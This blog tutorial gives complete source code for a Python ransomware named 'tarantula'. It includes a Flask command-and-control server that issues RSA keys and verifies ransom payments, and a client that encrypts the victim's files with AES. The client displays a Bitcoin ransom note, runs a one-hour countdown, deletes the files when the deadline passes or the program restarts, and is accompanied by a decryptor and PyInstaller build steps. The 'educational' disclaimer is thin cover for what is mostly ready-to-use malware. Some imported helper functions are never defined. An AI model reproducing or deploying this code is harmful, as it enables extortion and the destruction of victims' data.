Coding a Ransomware Is Easier Than You Think

You’ve probably heard about ransomware attacks in the news. But how difficult do you think it is to code a ransomware program? The truth is, it’s easier than you might imagine. Don’t believe me? Keep reading.

What Is Ransomware?#

If you’re unfamiliar with ransomware, it’s a type of malware that typically forces victims to pay a ransom to regain access to their files. Most ransomware encrypts files and demands payment in exchange for decryption. If the victim refuses to pay, the malware may delete the files permanently. The stronger the encryption, the lower the chance of recovering files without paying.

But why am I claiming that writing ransomware is so easy?

Python: A Versatile Tool#

In today’s IT landscape, Python can be used to build almost any type of application—from web and mobile apps to games, networking tools, hacking scripts, and even ransomware. Impressive, right?

In this article, we’ll walk through the process of coding a ransomware program step by step using Python.

⚠️ Disclaimer#

This article is for educational purposes only, to demonstrate how such programs work. Any illegal use of this knowledge is solely your responsibility. Neither floppydisk.vercel.app nor the author condones or is liable for unauthorized use. Do not test these techniques on any system without explicit permission.

The Basic Scenario#

The ransomware’s workflow is straightforward:

Infiltration: The malware enters the target system, often disguised as a harmless file.
Execution: When the victim runs the file, the ransomware begins encrypting their files.
Ransom Demand: After encryption, the victim is notified that their files are locked and must pay to regain access.

But how do we verify payment? And how is the encryption performed? Let’s break it down.

Symmetric Cryptography#

Symmetric cryptography uses a single key for both encryption and decryption. Some well-known symmetric encryption algorithms include:

For this ransomware, we’ll use AES-256, where “256” refers to the key size (32 bytes).

Asymmetric Cryptography#

Asymmetric cryptography, or public-key cryptography, uses a key pair: a public key for encryption and a private key for decryption. Common algorithms include:

In this project, we’ll encrypt the symmetric AES key using RSA to ensure only the attacker can decrypt it.

Setting Up the Environment#

Requirements#

First, install the required Python libraries. Download the requirements.txt file, then run:

1
python3 -m pip install -r requirements.txt

Building the Server#

The server handles three main tasks:

Generating RSA key pairs (public and private keys).
Distributing the public key to clients.
Simulating payment verification (in a real attack, you’d use a blockchain API).

Server Code#

1. Cryptography Utilities (`crypto.py`)#

1
from Crypto.PublicKey import RSA
2
from Crypto import Random
3
from base64 import b64decode
4
from Crypto.Cipher import PKCS1_OAEP
5
import base64
6

7
def read_public_key(key_file):
8
    key = open(key_file, "r").read()
9
    return key.replace("-----BEGIN PUBLIC KEY-----", "").replace("-----END PUBLIC KEY-----", "").replace("\n", "")
10

11
def read_private_key(key_file):
12
    key = open(key_file, "r").read()
13
    return key.replace("-----BEGIN RSA PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replace("\n", "")
14

15
def rsa_decrypt(cipherData, crypt_key):
16
    key = b64decode(crypt_key)
17
    key = RSA.importKey(key)
18
    cipher = PKCS1_OAEP.new(key)
19
    plaintext = cipher.decrypt(b64decode(cipherData))
20
    return plaintext
21

22
def generate_rsa_key_pairs(key_length=2048):
23
    key = RSA.generate(key_length)
24
    private_key = key.export_key('PEM')
25
    public_key = key.publickey().exportKey('PEM')
26
    with open("private-key.pem", "w") as private_key_file:
27
        private_key_file.write(private_key.decode())
28
    with open("public-key.pub", "w") as public_key_file:
29
        public_key_file.write(public_key.decode())

2. Database Manager (`db.py`)#

1
from tinydb import TinyDB, Query
2
import os
3

4
class Database:
5
    def __init__(self, dbName, dbPath):
6
        self.dbName = dbName
7
        self.dbPath = dbPath if dbPath[-1] == '/' else dbPath + '/'
8
        self.initilize_db_path(self.dbPath)
9
        self.db = TinyDB(dbPath + dbName, indent=4, sort_keys=True, separators=(',', ':'))
10

11
    def initilize_db_path(self, path):
12
        if not os.path.exists(path):
13
            os.makedirs(path)
14

15
    def query(self, table, query):
16
        table = self.db.table(table)
17
        return table.search(query)
18

19
    def insertOrUpdate(self, table, data):
20
        table = self.db.table(table)
21
        table.upsert(data, Query().id == data['id'])
22
        return True
23

24
    def insert(self, table, data):
25
        table = self.db.table(table)
26
        table.insert(data)
27
        return True
28

29
    def close_db(self):
30
        self.db.close()

3. Server Logic (`server.py`)#

1
from flask import Flask, request, jsonify
2
from tinydb import Query
3
from db import Database
4
from crypto import generate_rsa_key_pairs, read_public_key, read_private_key, rsa_decrypt
5
import os
6

7
# Generate key pairs if they don't exist
8
if not os.path.exists("public-key.pub"):
9
    generate_rsa_key_pairs()
10

11
# Initialize server and database
12
server = Flask("Ransomware Server")
13
db = Database("ransomware.json", "./")
14

15
# Simulate confirmed transactions
16
confirmedTransactions = [
17
    '8cf9637de652a773bf61883283958e76912fb0e1b8c5fd1c175a609df6a80bc4',
18
    '4558769059f3cc90e0251d2ae5bac26352daa813333f55a2e1850beca2fe456d',
19
    '01e02a533b37dfe20df1d8d1169e7aaa83d89f9f0509452907fd59ecf7e248ff'
20
]
21

22
@server.route('/api/v1/get_public_key', methods=['GET'])
23
def get_public_key():
24
    return jsonify({"public_key": read_public_key("public-key.pub")})
25

26
@server.route('/api/v1/payment_check', methods=['POST'])
27
def payment_check():
28
    transactionId = request.json['transactionId']
29
    encryptedKey = request.json['encryptedKey']
30

31
    if transactionId not in confirmedTransactions:
32
        return jsonify({"status": "error", "message": "Transaction not confirmed"})
33

34
    # Check for double-spending
35
    queryResult = db.query("transactions", Query().id == transactionId)
36
    if queryResult:
37
        return jsonify({"status": "error", "message": "Transaction already used"})
38

39
    # Decrypt the AES key
40
    private_key = read_private_key("private-key.pem")
41
    decryptedKey = rsa_decrypt(encryptedKey, private_key)
42

43
    # Record the transaction
44
    db.insert("transactions", {
45
        "id": transactionId,
46
        "encryptedKey": encryptedKey,
47
        "key": decryptedKey.decode()
48
    })
49

50
    return jsonify({"status": "success", "key": decryptedKey.decode()})
51

52
if __name__ == "__main__":
53
    server.run(host='0.0.0.0', port=9990)

Run the server with:

1
python3 server.py

Building the Ransomware#

1. Cryptography Utilities (`libs/crypto.py`)#

1
from Crypto.PublicKey import RSA
2
from Crypto.Cipher import AES, PKCS1_OAEP
3
from Crypto.Util.Padding import pad, unpad
4
from Crypto import Random
5
from base64 import b64encode, b64decode
6
import random
7

8
def generate_aes_key(length=32):
9
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;':,./<>?"
10
    return ''.join(random.choice(chars) for _ in range(length))
11

12
def aes_encrypt(data, key):
13
    data = pad(data, AES.block_size)
14
    iv = Random.new().read(AES.block_size)
15
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
16
    return b64encode(iv + cipher.encrypt(data))
17

18
def aes_decrypt(ciphertext, key):
19
    ciphertext = b64decode(ciphertext)
20
    iv = ciphertext[:16]
21
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
22
    return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)

2. Ransomware Logic (`tarantula.py`)#

After implementing the process utilities, paste this code into process.py:

1
import subprocess
2
import os
3

4
def kill_process(process_name):
5
    """Terminates a process by name (Linux-specific)."""
6
    _subprocess = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
7
    output, error = _subprocess.communicate()
8
    for line in output.splitlines():
9
        if process_name in str(line):
10
            pid = int(line.split(None, 1)[0])
11
            os.kill(pid, 9)

The kill_process function terminates the ransomware process after the victim pays the ransom. Next, configure the server details in server.py:

1
server_addr = "192.168.43.17:9990"  # Replace with your server's IP
2
public_key_receive = f"http://{server_addr}/api/v1/get_public_key"
3
payment_check = f"http://{server_addr}/api/v1/payment_check"

Important: Replace server_addr with your actual server IP. The example IP (192.168.43.17) was specific to my local network and won’t work elsewhere.

Ransomware Core Implementation (`tarantula.py`)#

Begin by importing required libraries:

1
import datetime
2
import json
3
from time import sleep
4
import os
5
from libs.crypto import format_public_key, generate_aes_key, rsa_encrypt, aes_encrypt, read_file_list
6
from threading import Thread
7
import requests
8
from libs.server import *

Global Variables#

1
end_time = 0  # Deadline for ransom payment
2
files_to_exclude = [
3
    'tarantula',
4
    'tarantula-decryptor',
5
    'encrypted-key.tarankey',
6
    'file-list.taranfls'
7
]
8
files = os.listdir(".")  # Files in current directory
9
encryptKey = ""  # AES encryption key

end_time: Tracks the payment deadline
files_to_exclude: Critical ransomware files (note: .py extensions are omitted since we’ll compile to executables)
files: Target files for encryption (limited to current directory for demonstration)
encryptKey: Stores the AES-256 encryption key

File Filtering#

1
# Remove excluded files from target list
2
for file in files_to_exclude:
3
    if file in files:
4
        files.remove(file)
5

6
# Handle subdirectories (non-recursive)
7
for file in files:
8
    if os.path.isdir(file):
9
        _files = os.listdir(file)
10
        for _file in _files:
11
            files.append(f"{file}/{_file}")

Core Functions#

File List Management

1
def save_files_list():
2
    """Saves encrypted file paths for later decryption."""
3
    with open("file-list.taranfls", "w+") as f:
4
        f.write("\n".join(files))

Terminal Utilities

1
def change_console_colors():
2
    """Changes terminal colors (Linux only)."""
3
    os.system("setterm -term linux -back white -fore red -clear")
4

5
def clear_console():
6
    """Clears the terminal screen."""
7
    os.system("clear")
8

9
def justified_message(message: str, limit: int):
10
    """Formats text with line breaks at specified character limits."""
11
    return "\n".join([message[i:i+limit] for i in range(0, len(message), limit)])

Server Communication

1
def get_server_public_key():
2
    """Retrieves the RSA public key from the C2 server."""
3
    try:
4
        response = requests.get(public_key_receive)
5
        return json.loads(response.text)['public_key']
6
    except:
7
        return ""  # Fail silently

File Operations

1
def delete_files():
2
    """Deletes all encrypted files if ransom isn't paid."""
3
    target_files = read_file_list() if os.path.exists("file-list.taranfls") else files
4
    for file in target_files:
5
        try:
6
            if os.path.exists(file) and os.path.isfile(file):
7
                os.remove(file)
8
        except:
9
            continue
10
    print("All files deleted.")

Countdown Timer

1
def calculate_diff_time():
2
    """Displays and enforces the payment deadline."""
3
    while datetime.datetime.now() < end_time:
4
        remaining = end_time - datetime.datetime.now()
5
        print(f"Remaining time: {remaining}", end="\r")
6
        sleep(1)
7
    print("\nTime is up!")
8
    delete_files()

Encryption Routine

1
def encrypt_files():
2
    """Encrypts all target files using AES-256."""
3
    for file in files:
4
        if os.path.isfile(file):
5
            try:
6
                with open(file, "rb") as f:
7
                    encrypted = aes_encrypt(f.read(), encryptKey.encode())
8
                with open(file, "wb") as f:
9
                    f.write(encrypted)
10
            except:
11
                continue  # Skip files that can't be encrypted

Main Execution#

1
def main():
2
    global encryptKey, end_time
3

4
    if not os.path.exists("encrypted-key.tarankey"):
5
        # Initial infection
6
        encryptKey = generate_aes_key(32)
7
        encryptedKey = rsa_encrypt(encryptKey, format_public_key(get_server_public_key()))
8

9
        with open("encrypted-key.tarankey", "w") as f:
10
            f.write(encryptedKey.decode())
11

12
        save_files_list()
13
        encrypt_files()
14

15
        # Ransom note
16
        username = os.getlogin()
17
        banner = r"""
18
     /^\ ___ /^\
19
            //^\(o o)/^\
20
        /'<^~``~''~^>`\"""
21

22
        message = f"""
23
Hi {username}!
24

25
Your files have been encrypted with military-grade AES-256.
26
The decryption key is securely stored on our servers.
27

28
************ INSTRUCTIONS ************
29
1. DO NOT delete these critical files:
30
   - tarantula
31
   - tarantula-decryptor
32
   - file-list.taranfls
33
   - encrypted-key.tarankey
34

35
2. Deletion will make recovery impossible
36
3. Terminating this program will trigger immediate file deletion
37
4. To decrypt your files:
38
   - Pay 0.01 BTC to: 1A1zP1eP5QGefi2DMPTfP5qqFmYvvoPk2n
39
   - Submit your transaction ID via tarantula-decryptor
40
5. You have 1 hour to comply
41
**************************************
42
"""
43
        change_console_colors()
44
        clear_console()
45
        print("**************************************")
46
        print(banner)
47
        print("**************************************")
48
        print(justified_message(message, 64))
49

50
        # Start countdown
51
        end_time = datetime.datetime.now() + datetime.timedelta(hours=1)
52
        Thread(target=calculate_diff_time).start()
53
    else:
54
        # Secondary execution failsafe
55
        change_console_colors()
56
        clear_console()
57
        print("Warning: Program restart detected! File deletion initiated...")
58
        delete_files()
59

60
if __name__ == "__main__":
61
    main()

That’s it! Ransomware is ready :). Now it’s time to code randomware-decryptor.

3. Decryptor (`tarantula-decryptor.py`)#

Create a new file named tarantula-decryptor.py and import the required libraries:

1
import os
2
import sys
3
import json
4
import requests
5
from colorama import init, Fore, Back
6
from libs.server import *
7
from libs.crypto import read_encrypted_key, read_file_list, aes_decrypt
8
from libs.process import kill_process
9

10
# Initialize colorama for colored terminal output
11
init()

Progress Visualization#

Add a function to display decryption progress:

1
def get_progress_bar(current, total, bar_length=30):
2
    """
3
    Returns a progress bar string showing decryption status.
4

5
    Args:
6
        current: Number of files processed
7
        total: Total files to process
8
        bar_length: Visual length of progress bar
9

10
    Returns:
11
        Formatted progress bar string (e.g., "[#####-----] (42% decrypted)")
12
    """
13
    progress = int(100 * current / total)
14
    filled = '#' * int(bar_length * current / total)
15
    empty = '-' * (bar_length - len(filled))
16
    return f'[{filled}{empty}] ({progress}% decrypted)'

Payment Verification#

Implement the transaction verification flow:

1
def verify_payment(transaction_id):
2
    """
3
    Verifies payment with the C2 server and retrieves decryption key.
4

5
    Args:
6
        transaction_id: Bitcoin transaction ID from victim
7

8
    Returns:
9
        Decryption key if valid, None otherwise
10
    """
11
    print(f"{Fore.YELLOW}Verifying transaction {transaction_id}...{Fore.RESET}\n")
12

13
    payload = {
14
        "transactionId": transaction_id,
15
        "encryptedKey": read_encrypted_key()
16
    }
17

18
    try:
19
        response = requests.post(
20
            payment_check,
21
            data=json.dumps(payload),
22
            headers={"Content-Type": "application/json"}
23
        )
24
        return json.loads(response.text)
25
    except Exception as e:
26
        print(f"{Fore.RED}Connection error: {str(e)}{Fore.RESET}")
27
        return {"status": "error", "message": "Server unavailable"}

Main Execution Flow#

1
def main():
2
    # Get transaction ID from user
3
    tx_id = input("Enter your Bitcoin transaction ID: ")
4

5
    # Verify payment
6
    result = verify_payment(tx_id)
7

8
    if result['status'] != "success":
9
        print(f"{Fore.RED}Error: {result['message']}{Fore.RESET}")
10
        sys.exit(1)
11

12
    # Payment verified - begin decryption
13
    decryption_key = result['key']
14
    print(f"{Fore.GREEN}Payment verified! Retrieving decryption key...{Fore.RESET}")
15
    print(f"{Fore.BLUE}Decryption Key: {decryption_key}{Fore.RESET}")
16
    print("="*40)
17

18
    # Decrypt files
19
    print(f"{Fore.YELLOW}Starting file decryption...{Fore.RESET}")
20
    encrypted_files = read_file_list()
21
    total_files = len(encrypted_files)
22

23
    for idx, file_path in enumerate(encrypted_files):
24
        if os.path.isfile(file_path):
25
            try:
26
                with open(file_path, "rb") as f:
27
                    encrypted_data = f.read()
28
                decrypted_data = aes_decrypt(encrypted_data, decryption_key.encode())
29
                with open(file_path, "wb") as f:
30
                    f.write(decrypted_data)
31
            except Exception as e:
32
                continue  # Skip files that can't be decrypted
33

34
            # Update progress
35
            print(get_progress_bar(idx+1, total_files), end="\r")
36

37
    # Cleanup
38
    print(f"\n{Fore.GREEN}Decryption complete!{Fore.RESET}")
39
    print("="*40)
40
    print(f"{Fore.YELLOW}Cleaning up...{Fore.RESET}")
41

42
    cleanup_files = [
43
        'encrypted-key.tarankey',
44
        'file-list.taranfls',
45
        'tarantula'  # Main ransomware executable
46
    ]
47

48
    # Terminate ransomware process
49
    kill_process("tarantula")
50

51
    # Remove residual files
52
    for file in cleanup_files:
53
        try:
54
            os.remove(file)
55
        except Exception as e:
56
            print(f"{Fore.RED}Error removing {file}: {str(e)}{Fore.RESET}")
57

58
    print(f"{Fore.GREEN}All done! Your files have been restored.{Fore.RESET}")
59

60
if __name__ == "__main__":
61
    main()

Compiling the Ransomware#

Convert the scripts to executables using PyInstaller:

1
pyinstaller -F tarantula.py
2
pyinstaller -F tarantula-decryptor.py

Final Notes#

This article demonstrates how ransomware operates, from encryption to payment verification. Writing or deploying ransomware is illegal and punishable by law. This guide is purely educational.

If you have questions, feel free to ask in the comments!

For the full project, visit the GitHub repository.

0xGeekHub

tarantula

Waiting for api.github.com...

00K

Waiting...